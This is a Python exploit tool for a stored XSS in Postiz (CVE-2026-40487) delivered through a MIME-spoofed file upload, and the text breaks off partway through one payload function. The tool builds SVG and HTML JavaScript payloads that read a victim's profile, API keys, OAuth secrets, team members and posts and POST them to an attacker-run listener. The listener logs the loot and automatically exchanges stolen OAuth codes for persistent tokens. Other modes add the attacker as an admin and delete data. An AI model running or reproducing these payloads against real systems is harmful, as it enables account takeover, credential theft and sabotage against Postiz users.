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| #!/usr/bin/env python3
# Postiz Stored XSS via MIME-Spoofed File Upload
# CVE-2026-40487 | Affected: <= 2.21.5 | Fixed: 2.21.6 | CVSS 3.1: 8.9 High
# CWE-345 / CWE-434 / CWE-79
# Usage: see --help
import argparse
import http.server
import json
import sys
import textwrap
import threading
import urllib.parse
from datetime import datetime
try:
import requests
except ImportError:
sys.exit("[!] Missing dependency: requests. Install it with pip install requests")
# ====================================================================
# Constants and colour helpers
# ====================================================================
# ANSI escape sequences for terminal colouring
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
CYAN = "\033[96m"
BOLD = "\033[1m"
DIM = "\033[2m"
RESET = "\033[0m"
# Module-level proxy configuration (set from --proxy in main)
PROXIES = {}
VERIFY_SSL = True
def _c(colour, text):
"""Wrap *text* in an ANSI colour sequence."""
return f"{colour}{text}{RESET}"
def info(msg):
print(f"{_c(YELLOW, '[*]')} {msg}")
def success(msg):
print(f"{_c(GREEN, '[+]')} {msg}")
def error(msg):
print(f"{_c(RED, '[!]')} {msg}")
def banner():
print(f"""{RED}
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
{RESET}
{_c(YELLOW, 'Postiz <= 2.21.5 — Stored XSS via MIME-Spoofed File Upload')}
""")
# ====================================================================
# Attack registry
# ====================================================================
#
# Each entry maps a CLI name to a human-readable description and a
# category tag used for grouping in --help output.
ATTACKS = {
# -- Exfiltration (read) ------------------------------------------
"dump-self": ("Exfiltrate victim profile, org, API key", "exfil"),
"dump-integrations": ("Exfiltrate connected social media integrations", "exfil"),
"dump-posts": ("Exfiltrate scheduled and draft posts", "exfil"),
"dump-team": ("Exfiltrate team members, roles, and emails", "exfil"),
"dump-media": ("Exfiltrate media library listing", "exfil"),
"dump-notifications": ("Exfiltrate notification history", "exfil"),
"dump-signatures": ("Exfiltrate post signatures", "exfil"),
"dump-webhooks": ("Exfiltrate configured webhooks and their URLs", "exfil"),
"dump-oauth-app": ("Exfiltrate OAuth app credentials (clientId, secret)", "exfil"),
"dump-copilot": ("Exfiltrate AI copilot conversation threads", "exfil"),
"dump-billing": ("Exfiltrate billing and subscription information", "exfil"),
"dump-personal": ("Exfiltrate personal details (name, bio, picture)", "exfil"),
"dump-settings": ("Exfiltrate shortlink and notification settings", "exfil"),
"dump-third-party": ("Exfiltrate third-party integration configs", "exfil"),
"dump-autopost": ("Exfiltrate autopost rules", "exfil"),
"dump-sets": ("Exfiltrate content sets", "exfil"),
"dump-tags": ("Exfiltrate post tags", "exfil"),
"dump-customers": ("Exfiltrate customer list", "exfil"),
"full-dump": ("Exfiltrate everything in a single payload", "exfil"),
# -- Privilege escalation -----------------------------------------
"add-admin": ("Invite attacker as ADMIN into victim org", "privesc"),
"rotate-key": ("Rotate org API key, exfiltrate the new one", "privesc"),
"rotate-oauth": ("Rotate OAuth app secret, exfiltrate it", "privesc"),
# -- Sabotage (availability / integrity) --------------------------
"kill-notifications": ("Disable all email notifications for the victim", "sabotage"),
"edit-profile": ("Modify victim's display name and bio", "sabotage"),
"wipe-signatures": ("Delete all post signatures", "sabotage"),
"wipe-webhooks": ("Delete all configured webhooks", "sabotage"),
"wipe-tags": ("Delete all post tags", "sabotage"),
"wipe-sets": ("Delete all content sets", "sabotage"),
"wipe-autopost": ("Delete all autopost rules", "sabotage"),
"logout-victim": ("Force-logout the victim (invalidate session)", "sabotage"),
"delete-oauth-app": ("Delete the victim's OAuth application", "sabotage"),
# -- Backdoor (persistence) ---------------------------------------
"create-oauth-app": ("Create OAuth app, auto-approve, exfil token (persistent backdoor)", "backdoor"),
"steal-cookie": ("Steal auth cookie via document.cookie (NOT_SECURED only)", "backdoor"),
# -- Generic / advanced -------------------------------------------
"api-call": ("Arbitrary authenticated API call (--api-method, --api-path)", "generic"),
"custom": ("Execute arbitrary JavaScript (--custom-js)", "generic"),
}
# ====================================================================
# Exfiltration HTTP server
# ====================================================================
class ExfilHandler(http.server.BaseHTTPRequestHandler):
"""Minimal HTTP handler that receives stolen data and logs it."""
loot: list # class-level, set before server starts
target: str # class-level, base URL for auto token exchange
def do_GET(self):
self._handle()
def do_POST(self):
length = int(self.headers.get("Content-Length", 0))
body = self.rfile.read(length).decode(errors="replace") if length else ""
self._handle(body)
def do_OPTIONS(self):
self.send_response(204)
self._cors()
self.end_headers()
# -- internal helpers ---------------------------------------------
def _cors(self):
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Access-Control-Allow-Headers", "*")
self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")
def _handle(self, post_body=None):
parsed = urllib.parse.urlparse(self.path)
qs = urllib.parse.parse_qs(parsed.query)
entry = {
"time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"path": parsed.path,
"params": {k: v[0] if len(v) == 1 else v for k, v in qs.items()},
}
if post_body:
try:
entry["body"] = json.loads(post_body)
except json.JSONDecodeError:
entry["body"] = post_body
self.__class__.loot.append(entry)
# Pretty-print to console
print(f"\n{_c(GREEN, '[+]')} Loot received @ {entry['time']}")
payload = entry.get("body") or entry["params"]
if isinstance(payload, dict):
for k, v in payload.items():
display = v
if isinstance(v, str) and len(v) > 200:
display = v[:200] + "..."
elif isinstance(v, (dict, list)):
display = json.dumps(v, indent=2, default=str)
print(f" {_c(CYAN, k)}: {display}")
else:
print(f" {payload}")
# Auto-exchange OAuth authorization code for a persistent token
self._maybe_exchange_oauth(entry)
self.send_response(200)
self._cors()
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
def _maybe_exchange_oauth(self, entry):
"""If loot is an oauth-backdoor with an auth code, exchange it for a token."""
body = entry.get("body")
if not isinstance(body, dict):
return
if body.get("tag") != "oauth-backdoor":
return
data = body.get("data", {})
code = data.get("authCode")
client_id = data.get("clientId")
client_secret = data.get("clientSecret")
redirect_url = data.get("redirectUrl")
if not all([code, client_id, client_secret]):
return
target = self.__class__.target
if not target:
return
# Run in a separate thread to avoid blocking the HTTP response
threading.Thread(
target=self._do_token_exchange,
args=(target, client_id, client_secret, code, redirect_url),
daemon=True,
).start()
@staticmethod
def _do_token_exchange(target, client_id, client_secret, code, redirect_url):
"""POST /api/oauth/token to exchange the auth code for a persistent token."""
try:
r = requests.post(f"{target}/api/oauth/token", json={
"grant_type": "authorization_code",
"code": code,
"client_id": client_id,
"client_secret": client_secret,
"redirect_uri": redirect_url or "",
}, proxies=PROXIES, verify=VERIFY_SSL)
if r.status_code in (200, 201):
token_data = r.json()
token = token_data.get("access_token", token_data)
print(f"\n{_c(GREEN, '[+]')} OAuth token exchanged automatically!")
print(f" {_c(CYAN, 'access_token')}: {token}")
print(f" {_c(DIM, 'Use as: Authorization: <token> (no Bearer prefix)')}")
ExfilHandler.loot.append({
"time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
"path": "/auto-exchange",
"body": {"tag": "oauth-token", "data": token_data},
})
else:
print(f"\n{_c(YELLOW, '[*]')} OAuth token exchange returned {r.status_code}: {r.text[:200]}")
except Exception as exc:
print(f"\n{_c(RED, '[!]')} OAuth token exchange failed: {exc}")
def log_message(self, *_args):
"""Suppress default request logging."""
pass
def start_exfil_server(port, target=""):
"""Launch the exfiltration listener on all interfaces in a daemon thread."""
ExfilHandler.loot = []
ExfilHandler.target = target
srv = http.server.HTTPServer(("0.0.0.0", port), ExfilHandler)
t = threading.Thread(target=srv.serve_forever, daemon=True)
t.start()
return srv
# ====================================================================
# JavaScript payload building blocks
# ====================================================================
def _svg_wrapper(js_body):
"""Embed JavaScript inside an SVG file that executes on open."""
return textwrap.dedent(f"""\
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<rect width="1" height="1" fill="white"/>
<script type="text/javascript">
// <![CDATA[
{js_body}
// ]]>
</script>
</svg>""")
def _html_wrapper(js_body):
"""Embed JavaScript inside an HTML file for full-page payloads."""
return textwrap.dedent(f"""\
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body style="background:white">
<p></p>
<script>
{js_body}
</script>
</body>
</html>""")
def _exfil_js(exfil_url, tag, data_expr):
"""Return JS code that POSTs JSON data to the exfil server."""
return textwrap.dedent(f"""\
fetch("{exfil_url}", {{
method: "POST",
headers: {{"Content-Type": "application/json"}},
body: JSON.stringify({{tag: "{tag}", data: {data_expr}}})
}}).catch(function(){{}});""")
def _fetch_and_exfil(exfil_url, tag, endpoint, method="GET", body=None):
"""Return JS that calls an API endpoint and sends the response to exfil."""
opts = f'method: "{method}", credentials: "include"'
if body:
opts += f', headers: {{"Content-Type": "application/json"}}, body: JSON.stringify({body})'
return textwrap.dedent(f"""\
fetch("{endpoint}", {{{opts}}})
.then(function(r) {{
var ct = r.headers.get("content-type") || "";
return ct.indexOf("json") > -1 ? r.json() : r.text();
}})
.then(function(d) {{
{_exfil_js(exfil_url, tag, "d")}
}}).catch(function(){{}});""")
def _action_then_exfil(exfil_url, tag, endpoint, method, body, readback_endpoint):
"""Perform a write action, then read back and exfil the result."""
body_js = json.dumps(body) if isinstance(body, dict) else body
return textwrap.dedent(f"""\
fetch("{endpoint}", {{
method: "{method}",
credentials: "include",
headers: {{"Content-Type": "application/json"}},
body: JSON.stringify({body_js})
}})
.then(function(r) {{ return r.json().catch(function() {{ return {{}}; }}); }})
.then(function(writeResult) {{
return fetch("{readback_endpoint}", {{credentials: "include"}})
.then(function(r2) {{ return r2.json(); }})
.then(function(readResult) {{
{_exfil_js(exfil_url, tag, '{action: writeResult, current: readResult}')}
}});
}}).catch(function(){{}});""")
# ====================================================================
# Payload generators, one per attack mode
# ====================================================================
# -- Exfiltration payloads -------------------------------------------
def gen_dump_self(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "victim-profile", "/api/user/self")
def gen_dump_integrations(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "integrations", "/api/integrations/list")
def gen_dump_posts(exfil_url, _args):
return textwrap.dedent(f"""\
(function() {{
var now = new Date();
var start = new Date(now.getTime() - 365*24*60*60*1000);
var end = new Date(now.getTime() + 365*24*60*60*1000);
var qs = "startDate=" + start.toISOString() + "&endDate=" + end.toISOString();
fetch("/api/posts?" + qs, {{credentials: "include"}})
.then(function(r) {{ return r.json(); }})
.then(function(d) {{
{_exfil_js(exfil_url, "posts", "d")}
}}).catch(function(){{}});
}})();""")
def gen_dump_team(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "team-members", "/api/settings/team")
def gen_dump_media(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "media-library", "/api/media?page=1")
def gen_dump_notifications(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "notifications", "/api/notifications/list")
def gen_dump_signatures(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "signatures", "/api/signatures")
def gen_dump_webhooks(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "webhooks", "/api/webhooks")
def gen_dump_oauth_app(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "oauth-app", "/api/user/oauth-app")
def gen_dump_copilot(exfil_url, _args):
return textwrap.dedent(f"""\
fetch("/api/copilot/list", {{credentials: "include"}})
.then(function(r) {{ return r.json(); }})
.then(function(data) {{
var threads = data.threads || [];
{_exfil_js(exfil_url, "copilot-threads", "threads")}
var chain = Promise.resolve();
threads.forEach(function(t) {{
chain = chain.then(function() {{
return fetch("/api/copilot/" + t.id + "/list", {{credentials: "include"}})
.then(function(r) {{ return r.json(); }})
.then(function(messages) {{
fetch("{exfil_url}", {{
method: "POST",
headers: {{"Content-Type": "application/json"}},
body: JSON.stringify({{tag: "copilot-thread-" + t.id, data: {{title: t.title, messages: messages}}}})
}}).catch(function(){{}});
}});
}});
}});
return chain;
}}).catch(function(){{}});""")
def gen_dump_billing(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "billing", "/api/billing")
def gen_dump_personal(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "personal", "/api/user/personal")
def gen_dump_settings(exfil_url, _args):
return "\n".join([
_fetch_and_exfil(exfil_url, "shortlink-settings", "/api/settings/shortlink"),
_fetch_and_exfil(exfil_url, "email-notifications", "/api/user/email-notifications"),
])
def gen_dump_third_party(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "third-party", "/api/third-party")
def gen_dump_autopost(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "autopost-rules", "/api/autopost")
def gen_dump_sets(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "sets", "/api/sets")
def gen_dump_tags(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "tags", "/api/posts/tags")
def gen_dump_customers(exfil_url, _args):
return _fetch_and_exfil(exfil_url, "customers", "/api/integrations/customers")
def gen_full_dump(exfil_url, _args):
"""Comprehensive dump: fires all read endpoints in parallel."""
endpoints = [
("victim-profile", "/api/user/self"),
("personal", "/api/user/personal"),
("organizations", "/api/user/organizations"),
("team-members", "/api/settings/team"),
("integrations", "/api/integrations/list"),
("media-library", "/api/media?page=1"),
("notifications", "/api/notifications/list"),
("signatures", "/api/signatures"),
("webhooks", "/api/webhooks"),
("oauth-app", "/api/user/oauth-app"),
("billing", "/api/billing"),
("shortlink-settings", "/api/settings/shortlink"),
("email-notifications","/api/user/email-notifications"),
("third-party", "/api/third-party"),
("autopost-rules", "/api/autopost"),
("sets", "/api/sets"),
("tags", "/api/posts/tags"),
("customers", "/api/integrations/customers"),
("approved-apps", "/api/user/approved-apps"),
]
parts = []
for tag, ep in endpoints:
parts.append(_fetch_and_exfil(exfil_url, tag, ep))
# Posts require dynamic date range
parts.append(gen_dump_posts(exfil_url, _args))
# Copilot: list threads, then fetch messages for each
parts.append(gen_dump_copilot(exfil_url, _args))
return "\n".join(parts)
# -- Privilege escalation payloads -----------------------------------
def gen_add_admin(exfil_url, args):
email = args.attacker_email
return _action_then_exfil(
exfil_url, "admin-invite",
"/api/settings/team", "POST",
{"email": email, "role": "ADMIN", "sendEmail": False},
"/api/settings/team",
)
def gen_rotate_key(exfil_url, _args):
return textwrap.dedent(f"""\
|
